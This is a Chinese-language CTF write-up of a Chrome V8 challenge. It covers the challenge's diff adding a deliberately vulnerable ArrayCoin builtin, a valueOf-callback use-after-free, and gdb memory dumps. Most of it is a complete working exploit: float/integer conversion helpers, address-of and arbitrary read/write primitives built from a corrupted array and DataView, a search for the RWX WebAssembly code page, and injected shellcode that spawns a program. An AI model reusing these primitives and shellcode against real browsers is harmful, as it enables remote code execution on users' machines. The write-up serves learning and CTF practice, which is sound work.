头大啊!学了*CTF的oob之后再看数字经济线下的chrome还是不会

但是今天似乎有能把它搞懂的预兆……

题目链接:Github

好困(~﹃~)~zZ

diff文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();

关键之处也就在BUILTIN(ArrayCoin)里面了

流程主要就是,如果参数个数不为3,那么直接返回undefined。它本身有this指针作为一个参数,也就是说我们需要传入两个参数

第一个参数为length,第二个参数为value,如果数组的长度大于37,就会将数组的第37个元素设置为value的值。length目前为止没用

需要注意的是,Object::ToNumber可以通过js中的valueOf发生回调,但是源代码我略微找了一下,没有定位到这一动作的代码(T_T)

漏洞在哪呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
len = {
valueOf: function()
{
array.length = 0x100;
return 0x1000;
}
}

array = [];
array.length = 1;
%DebugPrint(array);
%SystemBreak();
array.coin(len, 1);
%DebugPrint(array);
%SystemBreak();

用gdb调试v8,执行上述代码,在第一次break的时候:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0x2bc94228bf99 <JSArray[1]>
pwndbg> job 0x2bc94228bf99
0x2bc94228bf99: [JSArray]
- map: 0x0588c25c2f79 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x10fd0b1517a1 <JSArray[0]>
- elements: 0x2bc94228c029 <FixedArray[16]> [HOLEY_SMI_ELEMENTS]
- length: 1
- properties: 0x153d78680c21 <FixedArray[0]> {
#length: 0x367cbd5001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2bc94228c029 <FixedArray[16]> {
0-15: 0x153d786805b1 <the_hole>
}
pwndbg> x/40gx 0x2bc94228c029-1
0x2bc94228c028: 0x0000153d786807b1 0x0000001000000000
0x2bc94228c038: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c048: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c058: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c068: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c078: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c088: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c098: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c0a8: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c0b8: 0x0000000000000000 0x0000000000000000
0x2bc94228c0c8: 0x0000000000000000 0x0000000000000000
0x2bc94228c0d8: 0x0000000000000000 0x0000000000000000
0x2bc94228c0e8: 0x0000000000000000 0x0000000000000000
0x2bc94228c0f8: 0x0000000000000000 0x0000000000000000
0x2bc94228c108: 0x0000000000000000 0x0000000000000000
0x2bc94228c118: 0x0000000000000000 0x0000000000000000
0x2bc94228c128: 0x0000000000000000 0x0000000000000000
0x2bc94228c138: 0x0000000000000000 0x0000000000000000
0x2bc94228c148: 0x0000000000000000 0x0000000000000000
0x2bc94228c158: 0x0000000000000000 0x0000000000000000

因为v8对数组这些空间不确定的对象都采用的是先分配绝对足量的空间,直到之后使用的时候才会回收不用的空间,所以array.length至少要是1,不能为0,如果为0,那么就不会给elements分配空间(亲测),运行代码就会报错

继续运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
0x2bc94228bf99 <JSArray[256]>
pwndbg> job 0x2bc94228bf99
0x2bc94228bf99: [JSArray]
- map: 0x0588c25c2f79 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x10fd0b1517a1 <JSArray[0]>
- elements: 0x2bc94228c0b9 <FixedArray[256]> [HOLEY_SMI_ELEMENTS]
- length: 256
- properties: 0x153d78680c21 <FixedArray[0]> {
#length: 0x367cbd5001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2bc94228c0b9 <FixedArray[256]> {
0-18: 0x153d786805b1 <the_hole>
19: 1072693248
20-255: 0x153d786805b1 <the_hole>
}
pwndbg> x/40gx 0x2bc94228c029-1
0x2bc94228c028: 0x0000153d786807b1 0x0000001000000000
0x2bc94228c038: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c048: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c058: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c068: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c078: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c088: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c098: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c0a8: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c0b8: 0x0000153d786807b1 0x0000010000000000
0x2bc94228c0c8: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c0d8: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c0e8: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c0f8: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c108: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c118: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c128: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c138: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c148: 0x0000153d786805b1 0x0000153d786805b1
0x2bc94228c158: 0x0000153d786805b1 0x3ff0000000000000

可以发现,虽然array的地址没变,但是它的elements元素的地址发生变化了

但是,elements.set(37, value->Numver())依旧是将原来的地址的elements的第37个元素改变了,为什么呢?

原因在于,它取array和elements的时候,array的length还没有被改变,直到取length参数的时候调用了回调函数之后,array的空间才被重新alloc

但局部变量array和elements已经被赋值了,所以这就造成了uaf

怎么利用呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var len = {
valueOf: function()
{
victim = new Array(0x10);
%DebugPrint(victim);
%SystemBreak();
array.length = 0x100;
float_array = new Array(0x10);
float_array[0] = 1.1;
return 0x1000;
}
}

array = [];
array.length = 34;
%DebugPrint(array);
array.coin(len, 1);

gdb调试v8,断下来之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> job 0x3e61bb0cc001  //array
0x3e61bb0cc001: [JSArray]
- map: 0x2c4fad802f79 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2b74ba1d17a1 <JSArray[0]>
- elements: 0x3e61bb0cc091 <FixedArray[34]> [HOLEY_SMI_ELEMENTS]
- length: 34
- properties: 0x24d3fb1c0c21 <FixedArray[0]> {
#length: 0x250bb1c401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3e61bb0cc091 <FixedArray[34]> {
0-33: 0x24d3fb1c05b1 <the_hole>
}
pwndbg> job 0x3e61bb0cc1b1 //victim
0x3e61bb0cc1b1: [JSArray]
- map: 0x2c4fad802f79 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2b74ba1d17a1 <JSArray[0]>
- elements: 0x3e61bb0cc1e1 <FixedArray[16]> [HOLEY_SMI_ELEMENTS]
- length: 16
- properties: 0x24d3fb1c0c21 <FixedArray[0]> {
#length: 0x250bb1c401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3e61bb0cc1e1 <FixedArray[16]> {
0-15: 0x24d3fb1c05b1 <the_hole>
}
pwndbg> x/40gx 0x3e61bb0cc091-1
0x3e61bb0cc090: 0x000024d3fb1c07b1 0x0000002200000000
0x3e61bb0cc0a0: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc0b0: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc0c0: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc0d0: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc0e0: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc0f0: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc100: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc110: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc120: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc130: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc140: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc150: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc160: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc170: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc180: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc190: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc1a0: 0x000024d3fb1c05b1 0x000024d3fb1c05b1
0x3e61bb0cc1b0: 0x00002c4fad802f79 0x000024d3fb1c0c21
0x3e61bb0cc1c0: 0x00003e61bb0cc1e1 0x0000001000000000 //victim.length

看到了,由于victim和array的elements的内存是挨着的,所以array.coin会改变victim的length。由于这并不是用代码那种方式赋值,而是以它非预期的方式赋值的,因此victim的elements并不会重新分配

注意,%SystemBreak()不能下到float_array之后,因为此时array的elements的空间已经被重新分配,此时断下打印出来的就是新的地址

exp

利用方式就是通过float_array进行越界读写,修改一些对象的一些字段来达到利用的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
const buf8 = new ArrayBuffer(8);
const f64 = new Float64Array(buf8);
const u32 = new Uint32Array(buf8);
function f2i(val)
{ //double ==> Uint64
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i2f(val)
{ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}

function test() {
var wasmImports = {
env: {
puts: function puts (index) {
print(utf8ToString(h, index));
}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}

func = test();


function hex(i)
{
return i.toString(16).padStart(16, "0");
}
function print(i)
{
console.log(i);
}

var array = new Array(30);
var float_array = [1.1, 2.2];
var obj = {mark:i2f(0xdeadbeef), a:func,b:func,c:func};
var array_buffer = new ArrayBuffer(0x200);
var len = {
valueOf:function()
{
array.length = 0x1000;
return 0xabcd;
}
};

array.coin(len, 0xdead);

var dv = new DataView(array_buffer);

var array_to_obj_offset = 0;
var array_to_buffer_offset = 0;

for(let i = 0; i < 0x100; i++)
{
let d = f2i(float_array[i]);
if(d == 0xdeadbeef)
{
array_to_obj_offset = i + 1;
print("[+] find array_to_obj_offset " + array_to_obj_offset.toString());
break;
}
}

for(let i = array_to_obj_offset; i < 0x100; i++)
{
let d = f2i(float_array[i]);
if(d == 0x200)
{
array_to_buffer_offset = i + 1;
print("[+] find array_to_buffer_offset " + array_to_buffer_offset.toString());
break;
}
}

function addrOf(val)
{
obj.a = val;
return f2i(float_array[array_to_obj_offset]) - 1;
}

// 第二次使用read会遇到addr没办法写到float_array[array_to_buffer_offset]的问题
//因为中间的时候栈上有个地方本应该是地址,但是却不知为何变成了一个字节的数字
function read(addr)
{
print("[+] read from " + hex(addr));
float_array[array_to_buffer_offset] = i2f(addr);
return f2i(dv.getFloat64(0, true));
}

function write(addr, data)
{
print("[+] write " + hex(data) + " to " + hex(addr))
float_array[array_to_buffer_offset] = i2f(addr + 1);
dv.setFloat64(0, i2f(data), true);
}

// 从这开始,就是大佬的操作了
var wasm_code=f2i(float_array[array_to_obj_offset])-0x189;

float_array[array_to_buffer_offset]=i2f(wasm_code);
for(let i=0;i<40;i++)
{
tmp_addr=f2i(dv.getFloat64(i*8, true));
print(hex(wasm_code));
if(tmp_addr%0x1000==0&&tmp_addr/0x1000>0x1000&&tmp_addr&0xff0000){
wasm_code=tmp_addr;
break;
}
}
console.log("[+] wasm code address 0x" + hex(wasm_code));

float_array[array_to_buffer_offset]=i2f(wasm_code);

let shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
for (let i = 0; i < shellcode.length; i++) {
dv.setUint8(i, shellcode[i]);
}

func();

总结

这道题获取wasm的code的RWX地址并不好找,因为如果按照oob的那种方式查找的话,会不知道为什么就会在代码的不知道什么地方遇到非法地址。。

于是就参照着别人的代码写了这个,shellcode依旧和之前oob那道题的一样

随后再看看为啥会遇到这些问题